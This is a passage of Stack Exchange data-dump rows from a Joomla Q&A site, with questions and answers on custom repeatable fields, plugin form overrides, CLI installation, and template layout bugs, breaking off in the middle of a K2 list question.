  <row Id="26817" PostTypeId="1" AcceptedAnswerId="26820" CreationDate="2020-03-17T20:06:39.977" Score="0" ViewCount="392" Body="&lt;p&gt;I have been testing the following code to retrieve and output the values from a repeatable subform field with no success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$context = 'com_content.article';&#xA;$article = $this-&amp;gt;item;&#xA;$fields = FieldsHelper::getFields($context, $article, true);&#xA;&#xA;foreach($fields as $field) {&#xA;    $fields[$field-&amp;gt;name] = $field;&#xA;}&#xA;&#xA;$programFields = json_decode($fields['programs']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$programs&lt;/code&gt; field is the repeatable field with three sub fields attached to it. When I &lt;code&gt;var_dump&lt;/code&gt; &lt;code&gt;$programFields&lt;/code&gt;, the following error is displayed. &lt;strong&gt;Warning: json_decode() expects parameter 1 to be string, object given&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I &lt;code&gt;var_dump&lt;/code&gt; `$fields['programs'], the following is outputted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)[1473]&#xA;  public 'id' =&amp;gt; string '16' (length=2)&#xA;  public 'title' =&amp;gt; string 'Programs' (length=8)&#xA;  public 'name' =&amp;gt; string 'programs' (length=8)&#xA;  public 'checked_out' =&amp;gt; string '910' (length=3)&#xA;  public 'checked_out_time' =&amp;gt; string '2020-03-17 18:15:15' (length=19)&#xA;  public 'note' =&amp;gt; string '' (length=0)&#xA;  public 'state' =&amp;gt; string '1' (length=1)&#xA;  public 'access' =&amp;gt; string '1' (length=1)&#xA;  public 'created_time' =&amp;gt; string '2020-02-21 14:55:50' (length=19)&#xA;  public 'created_user_id' =&amp;gt; string '910' (length=3)&#xA;  public 'ordering' =&amp;gt; string '0' (length=1)&#xA;  public 'language' =&amp;gt; string '*' (length=1)&#xA;  public 'fieldparams' =&amp;gt; &#xA;    object(Joomla\Registry\Registry)[1344]&#xA;      protected 'data' =&amp;gt; &#xA;        object(stdClass)[1353]&#xA;          public 'fields' =&amp;gt; &#xA;            object(stdClass)[1348]&#xA;            ...&#xA;              protected 'initialized' =&amp;gt; boolean true&#xA;              public 'separator' =&amp;gt; string '.' (length=1)&#xA;              public 'params' =&amp;gt; &#xA;                object(Joomla\Registry\Registry)[1346]&#xA;                  protected 'data' =&amp;gt; &#xA;                  object(stdClass)[1355]&#xA;                    public 'hint' =&amp;gt; string '' (length=0)&#xA;                    public 'class' =&amp;gt; string '' (length=0)&#xA;                    public 'label_class' =&amp;gt; string '' (length=0)&#xA;                    public 'show_on' =&amp;gt; string '' (length=0)&#xA;                    public 'render_class' =&amp;gt; string '' (length=0)&#xA;                    public 'showlabel' =&amp;gt; string '0' (length=1)&#xA;                    public 'label_render_class' =&amp;gt; string '' (length=0)&#xA;                    public 'display' =&amp;gt; string '0' (length=1)&#xA;                    public 'layout' =&amp;gt; string '' (length=0)&#xA;                    public 'display_readonly' =&amp;gt; string '2' (length=1)&#xA;                    protected 'initialized' =&amp;gt; boolean true&#xA;                    public 'separator' =&amp;gt; string '.' (length=1)&#xA;                    public 'type' =&amp;gt; string 'repeatable' (length=10)&#xA;                    public 'default_value' =&amp;gt; string '' (length=0)&#xA;                    public 'context' =&amp;gt; string 'com_content.article' (length=19)&#xA;                    public 'group_id' =&amp;gt; string '0' (length=1)&#xA;                    public 'label' =&amp;gt; string 'Programs' (length=8)&#xA;                    public 'description' =&amp;gt; string '' (length=0)&#xA;                    public 'required' =&amp;gt; string '0' (length=1)&#xA;                    public 'language_title' =&amp;gt; null&#xA;                    public 'language_image' =&amp;gt; null&#xA;                    public 'editor' =&amp;gt; string 'Mike Hermary' (length=12)&#xA;                    public 'access_level' =&amp;gt; string 'Public' (length=6)&#xA;                    public 'author_name' =&amp;gt; string 'Mike Hermary' (length=12)&#xA;                    public 'group_title' =&amp;gt; null&#xA;                    public 'group_access' =&amp;gt; null&#xA;                    public 'group_state' =&amp;gt; null&#xA;                    public 'group_note' =&amp;gt; null&#xA;                    public 'value' =&amp;gt; string '{&quot;programs0&quot;:{&quot;Image&quot;:&quot;&quot;,&quot;Title&quot;:&quot;Preschool to Grade 1\/2&quot;,&quot;Sypnosis&quot;:&quot;&amp;lt;h4&amp;gt;Sypnosis&amp;lt;\/h4&amp;gt;\r\n&amp;lt;p&amp;gt;We introduce the children to the concept of wildlife rehabilitation and the differences between wild and domestic animals. We use storytelling, pictures and one or more of our education animals. The children learn how every one of them can make a difference to help wildlife.&amp;lt;\/p&amp;gt;&quot;,&quot;Duration&quot;:&quot;30 to 40 minutes&quot;,&quot;Class Size&quot;:&quot;Min - 12, Max - 30&quot;},&quot;programs1&quot;:{&quot;Image&quot;:&quot;&quot;,&quot;Title&quot;:&quot;Grades 2\/3 - 6&quot;,&quot;Sypnosis&quot;:&quot;&amp;lt;h4&amp;gt;Syp'... (length=2335)&#xA;                    public 'rawvalue' =&amp;gt; string '{&quot;programs0&quot;:{&quot;Image&quot;:&quot;&quot;,&quot;Title&quot;:&quot;Preschool to Grade 1\/2&quot;,&quot;Sypnosis&quot;:&quot;&amp;lt;h4&amp;gt;Sypnosis&amp;lt;\/h4&amp;gt;\r\n&amp;lt;p&amp;gt;We introduce the children to the concept of wildlife rehabilitation and the differences between wild and domestic animals. We use storytelling, pictures and one or more of our education animals. The children learn how every one of them can make a difference to help wildlife.&amp;lt;\/p&amp;gt;&quot;,&quot;Duration&quot;:&quot;30 to 40 minutes&quot;,&quot;Class Size&quot;:&quot;Min - 12, Max - 30&quot;},&quot;programs1&quot;:{&quot;Image&quot;:&quot;&quot;,&quot;Title&quot;:&quot;Grades 2\/3 - 6&quot;,&quot;Sypnosis&quot;:&quot;&amp;lt;h4&amp;gt;Syp'... (length=2335)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;programs&lt;/strong&gt; repeatable field has the following stored in it's &lt;code&gt;fieldparams&lt;/code&gt; table column:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;fields&quot;:{&quot;fields0&quot;:{&quot;fieldname&quot;:&quot;Image&quot;,&quot;fieldtype&quot;:&quot;media&quot;,&quot;fieldfilter&quot;:&quot;0&quot;},&quot;fields1&quot;:{&quot;fieldname&quot;:&quot;Title&quot;,&quot;fieldtype&quot;:&quot;text&quot;,&quot;fieldfilter&quot;:&quot;JComponentHelper::filterText&quot;},&quot;fields2&quot;:{&quot;fieldname&quot;:&quot;Sypnosis&quot;,&quot;fieldtype&quot;:&quot;editor&quot;,&quot;fieldfilter&quot;:&quot;safehtml&quot;},&quot;fields3&quot;:{&quot;fieldname&quot;:&quot;Duration&quot;,&quot;fieldtype&quot;:&quot;text&quot;,&quot;fieldfilter&quot;:&quot;JComponentHelper::filterText&quot;},&quot;fields4&quot;:{&quot;fieldname&quot;:&quot;Class Size&quot;,&quot;fieldtype&quot;:&quot;text&quot;,&quot;fieldfilter&quot;:&quot;JComponentHelper::filterText&quot;}}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Repeatable Field plugin override code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fieldValue = $field-&amp;gt;value;&#xA;echo $fieldValue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated tested code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$programFields = json_decode($fields['programs']-&amp;gt;rawvalue);&#xA;echo $programFields-&amp;gt;Title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following error is displayed from this code: &lt;strong&gt;Notice: Undefined property: stdClass::$Title&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I output the individual repeating fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain why this issue is occurring? All other custom fields are functioning correctly.&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2020-03-17T21:04:54.787" LastActivityDate="2020-03-18T15:47:17.317" Title="Access repeatable subform fields and display in article override" Tags="|custom-field|template-override|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26818" PostTypeId="2" ParentId="26817" CreationDate="2020-03-17T20:26:44.483" Score="1" Body="&lt;p&gt;&lt;code&gt;$fields['programs']&lt;/code&gt; is already an object. Run &lt;code&gt;json_decode()&lt;/code&gt; only on its value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$programFields = json_decode($fields['programs']-&amp;gt;rawvalue);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-17T20:26:44.483" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26819" PostTypeId="2" ParentId="26813" CreationDate="2020-03-18T11:31:02.823" Score="1" Body="&lt;p&gt;Well, i recommend you that you change your server from Microsoft Web Server to a more approriate server for php, such as WampServer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WampServer has some configurations you must pay attention to. If you are ever going to install it, make sure to select mysql on the installation process (since it's more compatible with Joomla) and set mysql as your default DBMS after you have installed it. Don't forget to disable/uninstall the IIS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Do a new installation of Joomla if possible. If you have a custom template, backup your template and, eventually, your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wampserver.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download WampServer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-03-18T11:40:40.933" LastActivityDate="2020-03-18T11:40:40.933" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26820" PostTypeId="2" ParentId="26817" CreationDate="2020-03-18T15:47:17.317" Score="1" Body="&lt;p&gt;Here is the code that finally worked for me. Thanks to @Sharky for the tips. Hopefully it is helpful to others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example working code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$programs = json_decode($fields['programs']-&amp;gt;rawvalue);&#xA;$class = $fields['programs']-&amp;gt;params-&amp;gt;get('render_class');&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;programs&quot;&amp;gt;&#xA;&amp;lt;?php foreach($programs as $program): ?&amp;gt;&#xA;    &amp;lt;div class=&quot;program &amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php if(isset($program-&amp;gt;Image) &amp;amp;&amp;amp; !empty($program-&amp;gt;Image)): ?&amp;gt;&#xA;            &amp;lt;div class=&quot;program__image&quot;&amp;gt;&#xA;                &amp;lt;?php echo $program-&amp;gt;Image; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if(isset($program-&amp;gt;Title) &amp;amp;&amp;amp; !empty($program-&amp;gt;Title)): ?&amp;gt;&#xA;            &amp;lt;h3 class=&quot;program__title&quot;&amp;gt;&#xA;                &amp;lt;?php echo $program-&amp;gt;Title; ?&amp;gt;&#xA;            &amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if(isset($program-&amp;gt;Sypnosis) &amp;amp;&amp;amp; !empty($program-&amp;gt;Sypnosis)): ?&amp;gt;&#xA;            &amp;lt;?php echo $program-&amp;gt;Sypnosis; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;program__meta&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php if(isset($program-&amp;gt;Duration) &amp;amp;&amp;amp; !empty($program-&amp;gt;Duration)): ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;strong&amp;gt;&amp;lt;?php echo JText::_('MRWC_PROGRAM_DURATION_TITLE'); ?&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;?php echo $program-&amp;gt;Duration; ?&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php if(isset($program-&amp;gt;Size) &amp;amp;&amp;amp; !empty($program-&amp;gt;Size)) : ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;strong&amp;gt;&amp;lt;?php echo JText::_('MRWC_PROGRAM_CLASS_SIZE_TITLE'); ?&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;?php echo $program-&amp;gt;Size; ?&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php if((isset($program-&amp;gt;Duration) &amp;amp;&amp;amp; !empty($program-&amp;gt;Duration)) || (isset($program-&amp;gt;Size) &amp;amp;&amp;amp; !empty($program-&amp;gt;Size))): ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;a href=&quot;mailto:education@name.com?subject=Booking for &amp;lt;?php echo $program-&amp;gt;Title; ?&amp;gt; Program&quot;&amp;gt;&amp;lt;?php echo JText::_('MRWC_PROGRAM_BOOK_LABEL'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2020-03-18T15:47:17.317" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26821" PostTypeId="1" CreationDate="2020-03-19T04:34:19.870" Score="0" ViewCount="314" Body="&lt;p&gt;I have created a form using RSForm pro and my users can submit their information with this form. One of the form fields named &quot;age&quot;. There are three admins in my site. They should see and check users submissions. They see the submissions in front-end using &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/getting-started/submissions-directory-menu-item.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Submissions Directory Menu Item&lt;/a&gt;. The issue is that the submissions should be filtered for each admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the first admin should see only submissions that the &quot;age&quot; field value is between 20 and 30. The second admin should see only submissions that the &quot;age&quot; field value is between 31 and 40. And finally the third admin should see only submissions that the &quot;age&quot; field value is between 41 and 50.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I filter the submissions according to logged in admin?&lt;/p&gt;&#xA;" OwnerUserId="14160" LastActivityDate="2020-03-19T04:34:19.870" Title="RSForm filter submissions using submission directory on frontend" Tags="|rsform|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26822" PostTypeId="1" AcceptedAnswerId="26824" CreationDate="2020-03-20T01:28:47.177" Score="0" ViewCount="55" Body="&lt;p&gt;Using Joomla 3.9, although Custom Fields is now available, I am opting to do this in a plugin instead for &lt;em&gt;reasons&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a plugin to hook into the Category view in admin, so that I can add a custom field. This works in terms of, I enable the plugin, and the new tab and my custom field appear in the Edit Category view, but for some reason, the value I set does not save to the params in the database as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody shed any light on this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;categoryextension.xml:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;category-icon&quot; label=&quot;Icon&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;icon&quot; type=&quot;text&quot; default=&quot;icon-round&quot; label=&quot;Category Icon&quot; description=&quot;Enter the category icon&quot; size=&quot;100&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;categoryextension.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class plgContentCategoryExtension extends JPlugin&#xA;{&#xA;&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     *&#xA;     * @var boolean&#xA;     * @since 3.1&#xA;     */&#xA;&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    public function onContentPrepareForm($form, $data)&#xA;    {&#xA;&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;        $view = $app-&amp;gt;input-&amp;gt;get('view');&#xA;&#xA;        switch ($option) {&#xA;&#xA;            case 'com_categories':&#xA;&#xA;                switch ($view) {&#xA;&#xA;                    case 'category':&#xA;&#xA;                        if ($app-&amp;gt;isAdmin()) {&#xA;&#xA;                            JForm::addFormPath(__DIR__ . '/forms');&#xA;&#xA;                            $form-&amp;gt;loadFile('categoryextension', false);&#xA;&#xA;                        }&#xA;&#xA;                        return true;&#xA;                }&#xA;&#xA;            return true;&#xA;        }&#xA;&#xA;        return true;&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't &lt;code&gt;think&lt;/code&gt; there's anything I ought to do to hook into the save function, as I am using pretty much the same thing for custom fields on com_content for articles, plus the fact the tab and field actually show up in the admin make me believe this is working as expected, but alas, the field value does not save to the db &lt;code&gt;params&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-12-15T11:04:55.557" Title="Custom Category Field" Tags="|custom-field|category|joomla-3.9|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26823" PostTypeId="1" AcceptedAnswerId="26849" CreationDate="2020-03-20T03:48:59.013" Score="1" ViewCount="373" Body="&lt;p&gt;I'm using the official &lt;a href=&quot;https://hub.docker.com/_/joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Docker&lt;/a&gt; repo to (hopefully) rapidly install a Joomla docker instance for testing my component development. I copy my component over to the server and extract it. However, I need a way to complete the Joomla install &lt;em&gt;without using a web browser&lt;/em&gt;. It seems like every resource on the web for &quot;CLI installation of Joomla&quot; is just how to extract the archive onto the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any documented way or utility to complete the installation (which basically appears to be running the install.sql, creating a root user, and deleting the install directory) without using the web installer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2020-03-27T03:51:04.400" Title="CLI Joomla installation" Tags="|joomla-3.x|installation|docker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26824" PostTypeId="2" ParentId="26822" CreationDate="2020-03-20T09:17:19.523" Score="0" Body="&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm(JForm $form, $data)&#xA;{&#xA;    if ($form-&amp;gt;getName() !== 'com_categories.categorycom_content')&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    JFormHelper::addFormPath(__DIR__ . '/forms');&#xA;&#xA;    $form-&amp;gt;loadFile('categoryextension', false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-03-20T09:17:19.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26825" PostTypeId="2" ParentId="26823" CreationDate="2020-03-20T21:58:56.023" Score="0" Body="&lt;p&gt;You might want to have a look at joomlatools/console from joomlatools team to install joomla via cli using composer installed in your container.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomlatools/joomlatools-console&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomlatools/console&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2020-03-20T21:58:56.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26827" PostTypeId="1" AcceptedAnswerId="26830" CreationDate="2020-03-21T11:15:49.857" Score="1" ViewCount="76" Body="&lt;p&gt;I recently installed a template based on Helix3 framework and I've noticed an inconsistency in the way how pages are created. Specifically, I have created two different menu items &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;list of a single category (e.g. &lt;a href=&quot;https://webtutordimatematica.it/materie/algebra-di-base/monomi-e-polinomi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://webtutordimatematica.it/materie/algebra-di-base/monomi-e-polinomi&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;list of all categories (e.g. &lt;a href=&quot;https://webtutordimatematica.it/materie/algebra-di-base&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://webtutordimatematica.it/materie/algebra-di-base&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and for both I set a custom module to appear on the right side. While the module appears correctly in pages of type 1, it doesn't in those pages of type 2. In this last case, the module is wrapped down after the component area.&#xA;Then, I went through the inspector and found the culprit.&#xA;In pages of type 1 the html code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sp-component&quot; class=&quot;col-sm-9 col-md-9&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;sp-right&quot; class=&quot;col-sm-3 col-md-3&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while in those of type 2 it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sp-component&quot; class=&quot;col-sm-9 col-md-9&quot;&amp;gt;...&#xA;    &amp;lt;div id=&quot;sp-right&quot; class=&quot;col-sm-3 col-md-3&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In few words, in this last case, the right side module is inside the component area so it can't be displayed on the right as it should.&#xA;Does anyone know whether this is a bug in the framework or not?&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2020-03-22T10:34:41.777" LastActivityDate="2020-03-23T17:51:10.287" Title="Right side bar included in component area in Helix3 framework template" Tags="|joomla-3.9|helix3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26828" PostTypeId="2" ParentId="26806" CreationDate="2020-03-21T22:21:56.887" Score="2" Body="&lt;p&gt;I got this working ok with just a little change from what you have above. If you can't install the plugin then maybe your filenames or folders aren't correct. Joomla is very fussy about those!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put everything into a folder named &lt;code&gt;plg_system_overrides&lt;/code&gt; and here are the files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;overrides.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.2&quot; type=&quot;plugin&quot; group=&quot;system&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_system_overrides&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Plugin to override html radio select&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;overrides&quot;&amp;gt;overrides.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;config.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;overrides&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;overrides.php&lt;/code&gt; - here I think it's best to use onAfterInitialise, as described in those other answers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_BASE') or die;&#xA;class PlgSystemOverrides extends JPlugin&#xA;{&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        include_once 'config.php';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;config.php&lt;/code&gt; is just the same as yours, and I copied the joomla library&lt;code&gt;select.php&lt;/code&gt; into an &lt;code&gt;overrides&lt;/code&gt; folder and made a small change to the html output in the genericlist function which worked ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I zipped up the &lt;code&gt;plg_system_overrides&lt;/code&gt; folder into &lt;code&gt;plg_system_overrides.zip&lt;/code&gt; and installed this. It's worth checking that all the files you expect to see are in the Joomla &lt;code&gt;plugins/system&lt;/code&gt; folder after you install your plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to enable your plugin via the admin / plugins page!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested it by inserting into a random site component layout file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('select.genericlist', array('a', 'b', 'c'), 'testselect'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I could see the change when I used the browser devtools to inspect the html. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-03-21T22:21:56.887" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26829" PostTypeId="2" ParentId="26806" CreationDate="2020-03-22T20:30:56.300" Score="2" Body="&lt;p&gt;You can override specific methods using &lt;code&gt;JHtml::register()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemOverrides extends CMSPlugin&#xA;{&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        if (!HTMLHelper::isRegistered('select.radiolist'))&#xA;        {&#xA;            HTMLHelper::register('select.radiolist', array(__CLASS__, 'radiolist'));&#xA;        }&#xA;    }&#xA;&#xA;    public static function radiolist()&#xA;    {&#xA;        // Your custom function here.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-22T20:30:56.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26830" PostTypeId="2" ParentId="26827" CreationDate="2020-03-23T17:51:10.287" Score="0" Body="&lt;p&gt;I fixed the problem by looking at &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=881561&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=881561&lt;/a&gt;&#xA;Another bug of Joomshaper override template.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2020-03-23T17:51:10.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26831" PostTypeId="1" CreationDate="2020-03-24T13:50:31.777" Score="0" ViewCount="362" Body="&lt;p&gt;I'm blocking on retrieving an item from a data list.&#xA;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;contenu2&quot; class=&quot;content&quot;&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot; id=&quot;adminForm&quot; name=&quot;adminForm&quot;&amp;gt;&#xA;    &amp;lt;table class=&quot;table table-striped table-hover&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th class=&quot;k2ui-center&amp;lt;?php if($context == &quot;modalselector&quot;) echo ' k2ui-not-visible'; ?&amp;gt;&quot;&amp;gt;&amp;lt;input id=&quot;k2&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('backendListToggler', 'TogglerStandard'); ?&amp;gt;&quot; type=&quot;checkbox&quot; name=&quot;toggle&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;1%&quot;&amp;gt;&amp;lt;?php echo JHtml::_('grid.sort', 'ID', 'id', $this-&amp;gt;sortDirection, $this-&amp;gt;sortColumn); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;2%&quot;&amp;gt;&amp;lt;?php echo JHtml::_('grid.sort', 'Name', 'name', 